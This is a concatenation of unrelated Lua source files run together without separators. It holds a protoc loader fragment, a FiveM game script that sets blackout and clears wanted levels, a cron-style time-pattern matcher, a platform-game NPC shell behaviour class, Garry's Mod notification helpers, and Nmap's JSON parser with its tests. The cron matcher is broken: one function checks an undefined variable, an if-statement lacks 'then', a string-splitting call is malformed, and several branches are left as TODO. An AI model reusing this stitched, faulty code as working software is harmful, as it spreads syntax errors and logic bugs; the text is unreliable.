file:write(string.format("p:loadfile(\"%s\")\n",v)) end print("-----------generate sueccess (Lua/net/protoc_init.lua)!----------------------")
-- CONFIG -- -- Allows you to set if time should be frozen and what time local freezeTime = false local hours = 1 local minutes = 0 -- Set if first person should be forced local forceFirstPerson = false -- CODE -- Citizen.CreateThread(function() while true do Citizen.Wait(0) _,pw = GetCurrentPedWeapon(PlayerPedId(), true) if GetWeaponDamageType(pw) ~= 2 then DisableControlAction(0, 140, true) DisableControlAction(0, 142, true) end SetFlashLightFadeDistance(30.0) end end) Citizen.CreateThread(function() SetBlackout(true) while true do Wait(1) SetPlayerWantedLevel(PlayerId(), 0, false) SetPlayerWantedLevelNow(PlayerId(), false) end end) local leapYear = 1 Citizen.CreateThread( function() RegisterNetEvent("tads:timeanddatesync") AddEventHandler("tads:timeanddatesync", function(time,date) NetworkOverrideClockTime(time.hour,time.minute,0) SetClockDate(date.day,date.month,date.year) end) TriggerServerEvent("tads:newplayer") end)
function at() end function cron() end local function split_string(str, delimiter) if type(str) ~= 'string' or str == '' or type(delimiter) ~= 'string' or delimiter == '' then return nil end local string_list = {} for m in (str..delimiter).gmatch('(.-)'..delimiter) do if m and m ~= '' then local tmp = string.gsub(m, '^%s*(.-)%s*$', '%1') if tmp ~= '' then table.insert(string_list, tmp) end end end return string_list end local function format_pattern(pattern) local new_pattern = {} if type(pattern) == 'string' then local string_list = split_string(pattern, ' ') if #string_list == 5 then new_pattern = { minute = string_list[1], hour = string_list[2], day_of_month = string_list[3], month = string_list[4], day_of_week = string_list[5], } elseif #string_list == 6 then new_pattern = { minute = string_list[1], hour = string_list[2], day_of_month = string_list[3], month = string_list[4], day_of_week = string_list[5], year = string_list[6], } elseif #string_list == 7 then new_pattern = { second = string_list[1], minute = string_list[2], hour = string_list[3], day_of_month = string_list[4], month = string_list[5], day_of_week = string_list[6], year = string_list[7], } else return nil end elseif type(pattern) == 'table' then new_pattern = pattern else return nil end if new_pattern.hour_minute_second then new_pattern.hour = '' new_pattern.minute = '' new_pattern.second = '' end return new_pattern end local function format_case(case) local new_case = case if type(case) == 'number' then if case >= 0 then new_case = { second = tonumber(os.date('%S', case)), minute = tonumber(os.date('%M', case)), hour = tonumber(os.date('%H', case)), day = tonumber(os.date('%d', case)), month = tonumber(os.date('%m', case)), year = tonumber(os.date('%Y', case)), } end elseif type(case) == 'string' then -- TODO elseif type(case) == 'table' then new_case = case end new_case.day_of_week = tonumber(os.date('*t', os.time({ year = new_case.year, month = new_case.month, day = new_case.day_of_month })).wday) - 1 -- TODO new_case.day_of_trade = '' -- new_case.day_of_trade = '0' -- new_case.day_of_trade = '1' return new_case end local function match_second(pattern, case) if pattern.second == '' or pattern.second == '*' or pattern.second == '?' then return true end -- TODO return false end local function match_minute(pattern, case) if pattern.minute == '' or pattern.minute == '*' or pattern.minute == '?' then return true end -- TODO return false end local function match_hour(pattern, case) if pattern.hour == '' or pattern.hour == '*' or pattern.hour == '?' then return true end -- TODO return false end local function match_day_of_month(pattern, case) if pattern.day_of_month == '' or pattern.day_of_month == '*' or pattern.day_of_month == '?' then return true elseif string.match(pattern.day_of_month, '^[0-9]+$') then if tonumber(pattern.day_of_month) == case.day_of_month then return true end elseif string.match(pattern.day_of_month, '^([0-9]+),([0-9]+)[^/]*$') then local pattern_days = split_string(pattern.day_of_month, ',') for i_pattern_day, v_pattern_day in ipairs(pattern_days) do if tonumber(v_pattern_day) == case.day_of_month then return true end end elseif string.match(pattern.day_of_month, '^([0-9]+)%-([0-9]+)$') then local pattern_days = split_string(pattern.day_of_month, '-') if tonumber(pattern_days[1]) <= case.day_of_month and case.day_of_month <= tonumber(pattern_days[2]) then return true end elseif string.match(pattern.day_of_month, '^([0-9]+)%-([0-9]+)/([0-9]+)$') then local m = {} for i in pattern.day_of_month:gmatch('[0-9]+') do table.insert(m, i) end local start_time, end_time, step_time = tonumber(m[1]), tonumber(m[2]), tonumber(m[3]) if start_time <= case.day_of_month and case.day_of_month <= end_time and math.fmod(case.day_of_month - start_time, step_time) == 0 then return true end else -- TODO end return false end local function match_month(pattern, case) if pattern.month == '' or pattern.month == '*' or pattern.month == '?' then return true elseif string.match(pattern.month, '^[0-9][012]*$') then if tonumber(pattern.month) == case.month then return true end elseif string.match(pattern.month, '^([0-9][012]*),([0-9][012]*)[^/]*$') then local pattern_months = split_string(pattern.month, ',') for i_pattern_month, v_pattern_month in ipairs(pattern_months) do if tonumber(v_pattern_month) == case.month then return true end end elseif string.match(pattern.month, '^([0-9][012]*)%-([0-9][012]*)$') then local pattern_months = split_string(pattern.month, '-') if tonumber(pattern_months[1]) <= case.month and case.month <= tonumber(pattern_months[2]) then return true end elseif string.match(pattern.month, '^([0-9][012]*)%-([0-9][012]*)/([0-9]+)$') then local m = {} for i in pattern.month:gmatch('[0-9]+') do table.insert(m, i) end local start_time, end_time, step_time = tonumber(m[1]), tonumber(m[2]), tonumber(m[3]) if start_time <= case.month and case.month <= end_time and math.fmod(case.month - start_time, step_time) == 0 then return true end else -- TODO end return false end local function match_day_of_week(pattern, case) if pattern.day_of_week == '' or pattern.day_of_week == '*' or pattern.day_of_week == '?' then return true elseif string.match(pattern.day_of_week, '^[0-6]$') then if tonumber(pattern.day_of_week) == case.day_of_week then return true end elseif string.match(pattern.day_of_week, '^[0-6],[0-6][^/]*$') then local pattern_days = split_string(pattern.day_of_week, ',') for i_pattern_day, v_pattern_day in ipairs(pattern_days) do if tonumber(v_pattern_day) == tonumber(case.day_of_week) then return true end end elseif string.match(pattern.day_of_week, '[0-6]%-[0-6]$') then local pattern_days = split_string(pattern.day_of_week, '-') if tonumber(pattern_days[1]) <= case.day_of_week and case.day_of_week <= tonumber(pattern_days[2]) then return true end elseif string.match(pattern.day_of_week, '[0-6]%-[0-6]/[1-6]$') then local m = {} for i in pattern.day_of_week:gmatch('[0-6]+') do table.insert(m, i) end local start_time, end_time, step_time = tonumber(m[1]), tonumber(m[2]), tonumber(m[3]) if start_time <= case.day_of_week and case.day_of_week <= end_time and math.fmod(case.day_of_week - start_time, step_time) == 0 then return true end else -- TODO end return false end local function match_year(pattern, case) if pattern.year == '' or pattern.year == '*' or pattern.year == '?' then return true elseif string.match(pattern.year, '^[0-9]+$') then if tonumber(pattern.year) == case.year then return true end elseif string.match(pattern.year, '^([0-9]+),([0-9]+)[^/]*$') then local pattern_years = split_string(pattern.year, ',') for i_pattern_year, v_pattern_year in ipairs(pattern_years) do if tonumber(v_pattern_year) == case.year then return true end end elseif string.match(pattern.year, '^([0-9]+)%-([0-9]+)$') then local pattern_years = split_string(pattern.year, '-') if tonumber(pattern_years[1]) <= case.year and case.year <= tonumber(pattern_years[2]) then return true end elseif string.match(pattern.year, '^([0-9]+)%-([0-9]+)/([0-9]+)$') then local m = {} for i in pattern.year:gmatch('[0-9]+') do table.insert(m, i) end local start_time, end_time, step_time = tonumber(m[1]), tonumber(m[2]), tonumber(m[3]) if start_time <= case.year and case.year <= end_time and math.fmod(case.year - start_time, step_time) == 0 then return true end else -- TODO end return false end local function match_hour_minute_second(pattern, case) if pattern.hour_minute_second == '' or pattern.hour_minute_second == '*' or pattern.hour_minute_second == '?' then return true end local current_time = case.hour*3600 + case.minute*60 + case.second for i_pattern_hour_minute_second, v_pattern_hour_minute_second in ipairs(pattern.hour_minute_second) do if string.match(v_pattern_hour_minute_second, '^[012][0-9]:[0-5][0-9]:[0-5][0-9]%-[012][0-9]:[0-5][0-9]:[0-5][0-9]$') then local m = {} for i in v_pattern_hour_minute_second:gmatch('[0-9]+') do table.insert(m, tonumber(i)) end local start_time, end_time = m[1]*3600 + m[2]*60 + m[3], m[4]*3600 + m[5]*60 + m[6] if start_time <= current_time and current_time <= end_time then return true end end end return false end local function match_day_of_trade(pattern, case) if pattern.day_of_trade == '' or pattern.day_of_trade == '*' or pattern.day_of_trade == '?' then return true elseif pattern.day_of_trade == case.day_of_trade then return true end return false end function match_std(pattern, case) local pattern = format_pattern(pattern) if not patterns or not case then return false end if match_second(pattern, case) and match_minute(pattern, case) and match_hour(pattern, case) and match_hour_minute_second(pattern, case) and match_day_of_month(pattern, case) and match_month(pattern, case) and match_day_of_week(pattern, case) and match_year(pattern, case) and match_day_of_trade(pattern, case) return true end return false end -- patterns = { -- '* * * * *', -- '* * * * * *', -- '* * * * * * *', -- { -- second = '*', -- minute = '*', -- hour = '*', -- day_of_month = '*', -- month = '*', -- day_of_week = '*', -- year = '*', -- }, -- { -- hour_minute_second = { '00:00:00-00:00:00', '00:00:00-00:00:00', ... }, -- day_of_trade = '*' or '0' or '1', -- }, -- ... -- } function match_ext(patterns, case) local case = format_case(case) for i_pattern, v_pattern in ipairs(patterns) do if match_std(v_pattern, case) then return true end end return false end
config = { var0 = true, var1 = true }
class 'shell' local AI_IDLING = 0 local AI_RUNNING = 1 --self.npc_obj:setSequence({0}) --self.npc_obj:setSequence({0,1,2,3}) function shell:initProps() -- Currents self.cur_mode=AI_IDLING self.npc_obj.motionSpeed = 0 self.npc_obj.not_movable = self.wasNotMovable if(self.npc_obj.spawnedGenType == BaseNPC.SPAWN_APPEAR) then self.npc_obj.speedX = 0 self.npc_obj.speedY = 0 end self.npc_obj:setSequence({0}) if(self.npc_obj.spawnedGenType == BaseNPC.SPAWN_PROJECTILE) then if self.npc_obj.spawnedGenDirection == BaseNPC.SPAWN_LEFT then self.npc_obj.direction = -1; self:setRunning() elseif self.npc_obj.spawnedGenDirection == BaseNPC.SPAWN_RIGHT then self.npc_obj.direction = 1; self:setRunning() end end end function shell:__init(npc_obj) self.npc_obj = npc_obj self.wasNotMovable = npc_obj.not_movable self.contacts = npc_obj:installContactDetector() self:initProps() end function shell:onActivated() self:initProps() end function shell:onLoop(tickTime) if(self.cur_mode == AI_RUNNING)then if(self.contacts:detected())then local Blocks= self.contacts:getBlocks() for K,Blk in pairs(Blocks) do if(Blk.collide_npc == PhysBase.COLLISION_ANY and (self.npc_obj.blockedAtLeft or self.npc_obj.blockedAtRight) )then if (Blk.top+2 < self.npc_obj.bottom) and (Blk.bottom-2 > self.npc_obj.top) then Blk:hit(2) end end end local NPCs= self.contacts:getNPCs() for K,Npc in pairs(NPCs) do if(npc_isShell(Npc.id))then if(Npc.controller.cur_mode == AI_RUNNING)then self.npc_obj:kill(NPC_DAMAGE_BY_KICK) end end if( not npc_isBloeGoopa(Npc.id) and not npc_isCoin(Npc.id) and not npc_isRadish(Npc.id) and not npc_isLife(Npc.id) )then Npc:kill(NPC_DAMAGE_BY_KICK) end end end end end function shell:onHarm(harmEvent) if( (harmEvent.reason_code ~= BaseNPC.DAMAGE_LAVABURN) and (harmEvent.reason_code ~= BaseNPC.DAMAGE_BY_KICK) )then harmEvent.cancel=true harmEvent.damage=0 if(harmEvent.killed_by == NpcHarmEvent.player)then self.npc_obj.direction = harmEvent.killer_p.direction end self:toggleState() end end function shell:onKill(killEvent) if( (killEvent.reason_code ~= BaseNPC.DAMAGE_LAVABURN) and (killEvent.reason_code ~= BaseNPC.DAMAGE_BY_KICK) )then killEvent.cancel=true if(killEvent.killed_by == NpcKillEvent.player)then self.npc_obj.direction = killEvent.killer_p.direction end self:toggleState() end end function shell:setRunning() self.cur_mode=AI_RUNNING self.npc_obj.motionSpeed = 7.1 self.npc_obj.frameDelay = 32 self.npc_obj.not_movable = false self.npc_obj:setSequence({0,1,2,3}) end function shell:setIdling() self.cur_mode=AI_IDLING self.npc_obj.motionSpeed = 0 self.npc_obj.speedX = 0 self.npc_obj.not_movable = self.wasNotMovable self.npc_obj:setSequence({0}) end function shell:toggleState() if(self.cur_mode == AI_IDLING)then self:setRunning() Audio.playSoundByRole(SoundRoles.PlayerKick) else self:setIdling() end end return shell
function HMLError( s, displayTime ) displayTime = displayTime or 7 if( CLIENT ) then GAMEMODE:AddNotify("[EE] " .. s, NOTIFY_ERROR, displayTime) if( HUD_System.NextCheckTime ) then HUD_System.NextCheckTime = HUD_System.NextCheckTime + 3 end end Msg("[EE] " .. s .. "\n") end function HMLWarning( s ) displayTime = displayTime or 7 if( CLIENT ) then GAMEMODE:AddNotify("[WW] " .. s, NOTIFY_HINT, displayTime) if( HUD_System.NextCheckTime ) then HUD_System.NextCheckTime = HUD_System.NextCheckTime + 3 end end Msg("[WW] " .. s .. "\n") end function HMLMessage( s ) displayTime = displayTime or 7 if( CLIENT ) then GAMEMODE:AddNotify("[II] " .. s, NOTIFY_GENERIC, displayTime) end Msg("[II] " .. s .. "\n") end
local M = {} M.oGameDb = nil return M
--- -- Library methods for handling JSON data. It handles JSON encoding and -- decoding according to RFC 4627. -- -- There is a test section at the bottom which shows some example -- parsing. If you want to parse JSON, you can test it by pasting sample JSON -- into the <code>TESTS</code> table and run the <code>test</code> method -- -- There is a straightforward mapping between JSON and Lua data types. One -- exception is JSON <code>NULL</code>, which is not the same as Lua -- <code>nil</code>. (A better match for Lua <code>nil</code> is JavaScript -- <code>undefined</code>.) <code>NULL</code> values in JSON are represented by -- the special value <code>json.NULL</code>. -- -- @author Martin Holst Swende (originally), David Fifield, Patrick Donnelly -- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html -- Version 0.4 -- Created 01/25/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se> -- Heavily modified 02/22/2010 - v0.3. Rewrote the parser into an OO-form, to not have to handle -- all kinds of state with parameters and return values. -- Modified 02/27/2010 - v0.4 Added unicode handling (written by David Fifield). Renamed toJson -- and fromJson into generate() and parse(), implemented more proper numeric parsing and added some more error checking. local bit = require "bit"; local nmap = require "nmap" local stdnse = require "stdnse" local string = require "string" local table = require "table" local unicode = require "unicode" local unittest = require "unittest" _ENV = stdnse.module("json", stdnse.seeall) local lpeg = require "lpeg"; local locale = lpeg.locale; local P = lpeg.P; local R = lpeg.R; local S = lpeg.S; local V = lpeg.V; local C = lpeg.C; local Cb = lpeg.Cb; local Cc = lpeg.Cc; local Cf = lpeg.Cf; local Cg = lpeg.Cg; local Cp = lpeg.Cp; local Cs = lpeg.Cs; local Ct = lpeg.Ct; local Cmt = lpeg.Cmt; -- case sensitive keyword local function K (a) return P(a) * -(locale().alnum + "_"); end local NULL = {}; _M.NULL = NULL; --- Makes a table be treated as a JSON Array when generating JSON -- -- A table treated as an Array has all non-number indices ignored. -- @param t a table to be treated as an array function make_array(t) local mt = getmetatable(t) or {} mt["json"] = "array" setmetatable(t, mt) return t end --- Makes a table be treated as a JSON Object when generating JSON -- -- A table treated as an Object has all non-number indices ignored. -- @param t a table to be treated as an object function make_object(t) local mt = getmetatable(t) or {} mt["json"] = "object" setmetatable(t, mt) return t end -- Decode a Unicode escape, assuming that self.pos starts just after the -- initial \u. May consume an additional escape in the case of a UTF-16 -- surrogate pair. See RFC 2781 for UTF-16. local unicode_esc = P [[\u]] * C(locale().xdigit * locale().xdigit * locale().xdigit * locale().xdigit); local function unicode16 (subject, position, hex) local cp = assert(tonumber(hex, 16)); if cp < 0xD800 or cp > 0xDFFF then return position, unicode.utf8_enc(cp); elseif cp >= 0xDC00 and cp <= 0xDFFF then error(("Not a Unicode character: U+%04X"):format(cp)); end -- Beginning of a UTF-16 surrogate. local lowhex = unicode_esc:match(subject, position); if not lowhex then error(("Bad unicode escape \\u%s (missing low surrogate)"):format(hex)) else local cp2 = assert(tonumber(lowhex, 16)); if not (cp2 >= 0xDC00 and cp2 <= 0xDFFF) then error(("Bad unicode escape \\u%s\\u%s (bad low surrogate)"):format(hex, lowhex)) end position = position+6 -- consume '\uXXXX' cp = 0x10000 + bit.band(cp, 0x3FF) * 0x400 + bit.band(cp2, 0x3FF) return position, unicode.utf8_enc(cp); end end -- call lpeg.locale on the grammar to add V "space" local json = locale { V "json"; json = V "space"^0 * V "value" * V "space"^0 * P(-1); -- FIXME should be 'V "object" + V "array"' instead of 'V "value"' ? value = V "string" + V "number" + V "object" + V "array" + K "true" * Cc(true)+ K "false" * Cc(false)+ K "null" * Cc(NULL); object = Cf(Ct "" * P "{" * V "space"^0 * (V "members")^-1 * V "space"^0 * P "}", rawset) / make_object; members = V "pair" * (V "space"^0 * P "," * V "space"^0 * V "pair")^0; pair = Cg(V "string" * V "space"^0 * P ":" * V "space"^0 * V "value"); array = Ct(P "[" * V "space"^0 * (V "elements")^-1 * V "space"^0 * P "]") / make_array; elements = V "value" * V "space"^0 * (P "," * V "space"^0 * V "value")^0; string = Ct(P [["]] * (V "char")^0 * P [["]]) / table.concat; char = P [[\"]] * Cc [["]] + P [[\\]] * Cc [[\]] + P [[\b]] * Cc "\b" + P [[\f]] * Cc "\f" + P [[\n]] * Cc "\n" + P [[\r]] * Cc "\r" + P [[\t]] * Cc "\t" + P [[\u]] * Cmt(C(V "xdigit" * V "xdigit" * V "xdigit" * V "xdigit"), unicode16) + P [[\]] * C(1) + (C(1) - P [["]]); number = C((P "-")^-1 * V "space"^0 * (V "hexadecimal" + V "floating" + V "integer")) / function (a) return assert(tonumber(a)) end; hexadecimal = P "0x" * V "xdigit"^1; floating = (V "digit"^1 * P "." * V "digit"^0 + V "digit"^0 * P "." * V "digit"^1) * (V "exponent")^-1; integer = V "digit"^1 * (V "exponent")^-1; exponent = S "eE" * (S "-+")^-1 * V "digit"^1; }; json = P(json); -- compile the grammar --- Parses JSON data into a Lua object. -- -- This is the method you probably want to use if you use this library from a -- script. --@param data a json string --@return status true if ok, false if bad --@return an object representing the json, or error message function parse (data) local status, object = pcall(json.match, json, data); if not status then return false, object; elseif object then return true, object; else return false, "syntax error"; end end --Some local shortcuts local function dbg(str,...) stdnse.debug1("Json:"..str, ...) end local function d4(str,...) if nmap.debugging() > 3 then dbg(str, ...) end end local function d3(str,...) if nmap.debugging() > 2 then dbg(str, ...) end end --local dbg =stdnse.debug local function dbg_err(str,...) stdnse.debug1("json-ERR:"..str, ...) end -- See section 2.5 for escapes. -- For convenience, ESCAPE_TABLE maps to escape sequences complete with -- backslash, and REVERSE_ESCAPE_TABLE maps from single escape characters -- (no backslash). local ESCAPE_TABLE = {} local REVERSE_ESCAPE_TABLE = {} do local escapes = { ["\x22"] = "\"", ["\x5C"] = "\\", ["\x2F"] = "/", ["\x08"] = "b", ["\x0C"] = "f", ["\x0A"] = "n", ["\x0D"] = "r", ["\x09"] = "t", } for k, v in pairs(escapes) do ESCAPE_TABLE[k] = "\\" .. v REVERSE_ESCAPE_TABLE[v] = k end end -- Escapes a string --@param str the string --@return a string where the special chars have been escaped local function escape(str) return "\"" .. string.gsub(str, ".", ESCAPE_TABLE) .. "\"" end --- Checks what JSON type a variable will be treated as when generating JSON -- @param var a variable to inspect -- @return a string containing the JSON type. Valid values are "array", -- "object", "number", "string", "boolean", and "null" function typeof(var) local t = type(var) if var == NULL then return "null" elseif t == "table" then local mtval = rawget(getmetatable(var) or {}, "json") if mtval == "array" or (mtval ~= "object" and #var > 0) then return "array" else return "object" end else return t end error("Unknown data type in typeof") end --- Creates json data from an object --@param obj a table containing data --@return a string containing valid json function generate(obj) -- NULL-check must be performed before -- checking type == table, since the NULL-object -- is a table if obj == NULL then return "null" elseif obj == false then return "false" elseif obj == true then return "true" elseif type(obj) == "number" then return string.format("%g", obj) elseif type(obj) == "string" then return escape(obj) elseif type(obj) == "table" then local k, v, elems, jtype elems = {} jtype = typeof(obj) if jtype == "array" then for _, v in ipairs(obj) do elems[#elems + 1] = generate(v) end return "[" .. table.concat(elems, ", ") .. "]" elseif jtype == "object" then for k, v in pairs(obj) do elems[#elems + 1] = escape(k) .. ": " .. generate(v) end return "{" .. table.concat(elems, ", ") .. "}" end end error("Unknown data type in generate") end if not unittest.testing() then return _ENV end ---------------------------------------------------------------------------------- -- Test-code for debugging purposes below ---------------------------------------------------------------------------------- local TESTS = { { '{"a":1}', generates = '{"a": 1}', is = "object", test = function(o) return o["a"] == 1 end }, { '{"a":true}', generates = '{"a": true}', is = "object", test = function(o) return o["a"] == true end }, { '{"a": false}', generates = '{"a": false}', is = "object", test = function(o) return o["a"] == false end }, { '{"a": null \r\n, \t "b" \f:"ehlo"}', is = "object", test = function(o) return o["a"] == NULL end }, { '{"a\\"a":"a\\"b\\"c\\"d"}', generates = '{"a\\"a": "a\\"b\\"c\\"d"}', is = "object", test = function(o) return o['a"a'] == 'a"b"c"d' end }, { '{"foo":"gaz\\"onk", "pi":3.14159,"hello":{ "wo":"rl\\td"}}', is = "object", test = function(o) return ( o["foo"] == 'gaz"onk' and o["pi"] == 3.14159 and o["hello"]["wo"] == "rl\td" ) end }, { '{"a":1, "b":2}', is = "object", test = function(o) local j = generate(o) return ( -- order is random j == '{"a": 1, "b": 2}' or j == '{"b": 2, "a": 1}' ) end }, { '[1,2,3,4,5,null,false,true,"\195\164\195\165\195\182\195\177","bar"]', generates = '[1, 2, 3, 4, 5, null, false, true, "\195\164\195\165\195\182\195\177", "bar"]', is = "array", test = function(o) return #o == 10 end }, { '[]', generates = '[]', is = "array", test = function(o) return not next(o) end }, { '{}', generates = '{}', is = "object", test = function(o) return not next(o) end }, {'', valid=false}, {'null', valid=false}, -- error {'"abc"', valid=false}, -- error {'{a":1}', valid=false}, -- error {'{"a" bad :1}', valid=false}, -- error { '["a\\\\t"]', generates = '["a\\\\t"]', is = "array", test = function(o) return o[1] == "a\\t" end }, -- Should become Lua {"a\\t"} {'[0.0.0]', valid=false}, -- error { '[-1]', generates = '[-1]', is = "array", }, { '[-1.123e-2]', generates = '[-0.01123]', is = "array", }, { '[5e3]', generates = '[5000]', is = "array", }, { '[5e+3]', generates = '[5000]', is = "array", }, { '[5E-3]', generates = '[0.005]', is = "array", }, { '[5.5e3]', generates = '[5500]', is = "array", }, { '["a\\\\"]', generates = '["a\\\\"]', is = "array", }, -- Should become Lua {"a\\"} { ' {"a}": 1} ', generates = '{"a}": 1}', is = "object", test = function(o) return o["a}"] == 1 end }, -- Should become Lua {"a}" = 1} {'["key": "value"]', valid=false}, -- error { '["\\u0041"]', generates = '["A"]', is = "array", }, -- Should become Lua {"A"} {'["\\uD800"]', valid=false}, -- error { '["\\uD834\\uDD1EX"]', generates = '["\240\157\132\158X"]', is = "array", }, -- Should become Lua {"\240\157\132\158X"} } test_suite = unittest.TestSuite:new() local equal = unittest.equal local is_false = unittest.is_false local is_true = unittest.is_true for _, test in ipairs(TESTS) do local status, val = parse(test[1]) if test.valid == false then test_suite:add_test(is_false(status), "Syntax error status is false") test_suite:add_test(equal(val, "syntax error"), "Syntax error") break end if test.generates then test_suite:add_test(equal(generate(val), test.generates), "Generate") end if test.is then test_suite:add_test(equal(typeof(val), test.is), "JSON type") end if test.test then test_suite:add_test(is_true(test.test(val)), "Extra test") end end return _ENV;